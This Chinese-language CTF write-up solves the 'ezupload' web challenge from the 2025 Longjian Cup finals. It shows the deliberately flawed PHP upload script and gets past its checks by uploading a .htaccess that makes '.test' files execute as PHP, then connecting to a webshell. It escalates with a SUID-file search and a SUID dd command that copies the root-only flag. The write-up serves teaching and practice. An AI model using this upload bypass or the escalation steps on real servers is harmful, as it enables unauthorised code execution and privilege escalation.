决赛一共4道web,提供附件的只有本文两题 附件可以从
https://github.com/CTF-Archives/2025-LongjianCup-Finals中获取
ezupload
index.php:
<?php
session_start();
$session_id = session_id();
$target_dir = "/var/www/html/uploads/$session_id/";
if (!is_dir($target_dir)) {
mkdir($target_dir, 0755, true);
chown($target_dir, 'www-data');
chgrp($target_dir, 'www-data');
}
?>
<form enctype='multipart/form-data' action='' method='post'>
<input type='file' name='fileToUpload'>
<input type="submit" value="Upload" name="submit">
</form>
<?php
if (isset($_FILES['fileToUpload'])) {
$target_file = basename($_FILES["fileToUpload"]["name"]);
$session_id = session_id();
$target_dir = "/var/www/html/uploads/$session_id/";
$target_file_path = $target_dir . $target_file;
$uploadOk = 1;
$lastDotPosition = strrpos($target_file, '.');
if (file_exists($target_file_path)) {
echo "Sorry, file already exists.\n";
$uploadOk = 0;
}
if ($_FILES["fileToUpload"]["size"] > 50000) {
echo "Sorry, your file is too large.\n";
$uploadOk = 0;
}
if ($lastDotPosition == false) {
$filename = $target_file;
$extension = '';
} else {
$filename = substr($target_file, 0, $lastDotPosition);
$extension = substr($target_file, $lastDotPosition + 1);
}
if ($extension !== '' && $extension !== 'txt') {
echo "Sorry, only .txt extensions are allowed.\n";
$uploadOk = 0;
}
if (!(preg_match('/^[a-f0-9]{32}$/', $session_id))) {
echo "Sorry, that is not a valid session ID.\n";
$uploadOk = 0;
}
if ($uploadOk == 0) {
echo "Sorry, your file was not uploaded.\n";
} else {
$temp_file_path = $target_dir . uniqid('temp_', true) . '.tmp';
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $temp_file_path)) {
chmod($temp_file_path, 0000);
$is_hidden = (substr($target_file, 0, 1) === '.');
if ($is_hidden) {
chmod($temp_file_path, 0644);
}
if (rename($temp_file_path, $target_file_path)) {
echo "The file " . htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.";
if (!$is_hidden) {
chmod($target_file_path, 0000);
}
} else {
echo "Sorry, there was an error renaming your file.";
if (file_exists($temp_file_path)) {
unlink($temp_file_path);
}
}
} else {
echo "Sorry, there was an error uploading your file.";
}
$old_path = getcwd();
chdir($target_dir);
shell_exec('chmod 000 *');
chdir($old_path);
}
}
?>
实现了文件上传的功能,Cookie值$session_id可控,也就是说上传目录是已知的,对于文件名有限制,如果是aaa.bbb的文件名则会对后缀进行校验,bbb必须为空或txt,并且文件如果上传成功是0000的属性,但如果是.xxx则可以绕过后缀校验,并且之后上传文件会被置为0644的属性,于是可以想到通过上传.htaccess实现解析.xxx文件:
<FilesMatch ".test">
SetHandler application/x-httpd-php
</FilesMatch>
把一句话木马写进.test文件,先上传.htaccess,再上传.test就能蚁剑连接,/tmp目录下有个假flag,根目录下的flag只有root可读,需要进行提权,尝试先查找具有suid权限的文件:
find / -perm -u=s -type f 2>/dev/null
找到一个dd命令,可以复制flag文件:
dd if=/flag of=/tmp/flag
最后读取/tmp/flag就能获取flag